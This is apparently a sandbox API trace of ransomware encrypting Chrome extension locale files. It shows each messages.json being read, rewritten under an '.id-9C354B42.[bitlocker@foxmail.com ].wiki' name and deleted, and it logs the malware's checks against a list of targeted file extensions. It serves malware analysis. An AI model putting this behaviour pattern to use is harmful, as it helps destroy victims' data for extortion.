(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.975] GetLastError () returned 0x0 [0178.975] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x284, lpOverlapped=0x0) returned 1 [0178.976] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x290, lpOverlapped=0x0) returned 1 [0178.977] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0178.977] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0178.977] SetEndOfFile (hFile=0x1b4) returned 1 [0178.979] CloseHandle (hObject=0x1b4) returned 1 [0178.979] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.980] SetEndOfFile (hFile=0x19c) returned 1 [0178.980] CloseHandle (hObject=0x19c) returned 1 [0178.980] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0178.981] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json")) returned 1 [0178.982] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json") returned 155 [0178.982] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json") returned 155 [0178.982] lstrlenW (lpString=".doc") returned 4 [0178.982] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.982] lstrlenW (lpString=".docx") returned 5 [0178.982] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.982] lstrlenW (lpString=".pdf") returned 4 [0178.982] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.982] lstrlenW (lpString=".xls") returned 4 [0178.982] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.982] lstrlenW (lpString=".xlsx") returned 5 [0178.982] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.982] lstrlenW (lpString=".ppt") returned 4 [0178.982] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.982] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json") returned 155 [0178.982] lstrlenW (lpString=".zip") returned 4 [0178.982] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.982] lstrlenW (lpString=".rar") returned 4 [0178.982] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.982] lstrlenW (lpString=".bz2") returned 4 [0178.982] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.982] lstrlenW (lpString=".7z") returned 3 [0178.982] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.982] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json") returned 155 [0178.982] lstrlenW (lpString=".dbf") returned 4 [0178.982] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.982] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json") returned 155 [0178.982] lstrlenW (lpString=".1cd") returned 4 [0178.983] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.983] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json") returned 155 [0178.983] lstrlenW (lpString=".jpg") returned 4 [0178.983] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.983] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json") returned 155 [0178.983] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json") returned 155 [0178.983] lstrlenW (lpString=".doc") returned 4 [0178.983] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0178.983] lstrlenW (lpString=".docx") returned 5 [0178.983] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0178.983] lstrlenW (lpString=".pdf") returned 4 [0178.983] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0178.983] lstrlenW (lpString=".xls") returned 4 [0178.983] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0178.983] lstrlenW (lpString=".xlsx") returned 5 [0178.983] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0178.983] lstrlenW (lpString=".ppt") returned 4 [0178.983] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0178.983] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json") returned 155 [0178.983] lstrlenW (lpString=".zip") returned 4 [0178.983] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0178.983] lstrlenW (lpString=".rar") returned 4 [0178.983] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0178.983] lstrlenW (lpString=".bz2") returned 4 [0178.983] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0178.983] lstrlenW (lpString=".7z") returned 3 [0178.983] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0178.983] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json") returned 155 [0178.983] lstrlenW (lpString=".dbf") returned 4 [0178.984] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0178.984] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json") returned 155 [0178.984] lstrlenW (lpString=".1cd") returned 4 [0178.984] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0178.984] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nb\\messages.json") returned 155 [0178.984] lstrlenW (lpString=".jpg") returned 4 [0178.984] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0178.984] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0178.984] lstrlenW (lpString="messages.json") returned 13 [0178.984] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.984] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=642) returned 1 [0178.985] CloseHandle (hObject=0x19c) returned 1 [0178.985] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json")) returned 0x2020 [0178.985] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0178.985] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0178.985] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.985] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0178.985] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0178.985] GetLastError () returned 0x0 [0178.985] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x282, lpOverlapped=0x0) returned 1 [0179.178] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x290, lpOverlapped=0x0) returned 1 [0179.523] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0179.523] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.523] SetEndOfFile (hFile=0x1b4) returned 1 [0179.523] CloseHandle (hObject=0x1b4) returned 1 [0179.523] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.523] SetEndOfFile (hFile=0x19c) returned 1 [0179.524] CloseHandle (hObject=0x19c) returned 1 [0179.524] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.524] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json")) returned 1 [0179.525] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json") returned 155 [0179.525] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json") returned 155 [0179.525] lstrlenW (lpString=".doc") returned 4 [0179.525] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.525] lstrlenW (lpString=".docx") returned 5 [0179.525] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.525] lstrlenW (lpString=".pdf") returned 4 [0179.525] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.525] lstrlenW (lpString=".xls") returned 4 [0179.525] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.525] lstrlenW (lpString=".xlsx") returned 5 [0179.525] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.525] lstrlenW (lpString=".ppt") returned 4 [0179.525] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.525] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json") returned 155 [0179.525] lstrlenW (lpString=".zip") returned 4 [0179.525] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.525] lstrlenW (lpString=".rar") returned 4 [0179.525] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.525] lstrlenW (lpString=".bz2") returned 4 [0179.525] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.525] lstrlenW (lpString=".7z") returned 3 [0179.525] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.525] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json") returned 155 [0179.525] lstrlenW (lpString=".dbf") returned 4 [0179.525] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.525] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json") returned 155 [0179.525] lstrlenW (lpString=".1cd") returned 4 [0179.525] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.525] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json") returned 155 [0179.526] lstrlenW (lpString=".jpg") returned 4 [0179.526] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.526] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json") returned 155 [0179.526] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json") returned 155 [0179.526] lstrlenW (lpString=".doc") returned 4 [0179.526] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.526] lstrlenW (lpString=".docx") returned 5 [0179.526] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.526] lstrlenW (lpString=".pdf") returned 4 [0179.526] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.526] lstrlenW (lpString=".xls") returned 4 [0179.526] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.526] lstrlenW (lpString=".xlsx") returned 5 [0179.526] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.526] lstrlenW (lpString=".ppt") returned 4 [0179.526] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.526] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json") returned 155 [0179.526] lstrlenW (lpString=".zip") returned 4 [0179.526] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.526] lstrlenW (lpString=".rar") returned 4 [0179.526] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.526] lstrlenW (lpString=".bz2") returned 4 [0179.526] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.526] lstrlenW (lpString=".7z") returned 3 [0179.526] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.526] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json") returned 155 [0179.526] lstrlenW (lpString=".dbf") returned 4 [0179.527] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json") returned 155 [0179.527] lstrlenW (lpString=".1cd") returned 4 [0179.527] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.527] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\nl\\messages.json") returned 155 [0179.527] lstrlenW (lpString=".jpg") returned 4 [0179.527] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.527] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.527] lstrlenW (lpString="messages.json") returned 13 [0179.527] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0179.529] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=595) returned 1 [0179.529] CloseHandle (hObject=0x19c) returned 1 [0179.529] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\messages.json")) returned 0x2020 [0179.529] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0179.529] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.529] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.529] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0179.530] GetLastError () returned 0x0 [0179.530] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x253, lpOverlapped=0x0) returned 1 [0179.532] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x260, lpOverlapped=0x0) returned 1 [0179.533] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0179.533] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.533] SetEndOfFile (hFile=0x1b4) returned 1 [0179.533] CloseHandle (hObject=0x1b4) returned 1 [0179.533] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.533] SetEndOfFile (hFile=0x19c) returned 1 [0179.534] CloseHandle (hObject=0x19c) returned 1 [0179.534] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.534] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_cn\\messages.json")) returned 1 [0179.534] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json") returned 158 [0179.534] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\zh_CN\\messages.json") returned 158 [0179.534] lstrlenW (lpString=".doc") returned 4 [0179.534] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.534] lstrlenW (lpString=".docx") returned 5 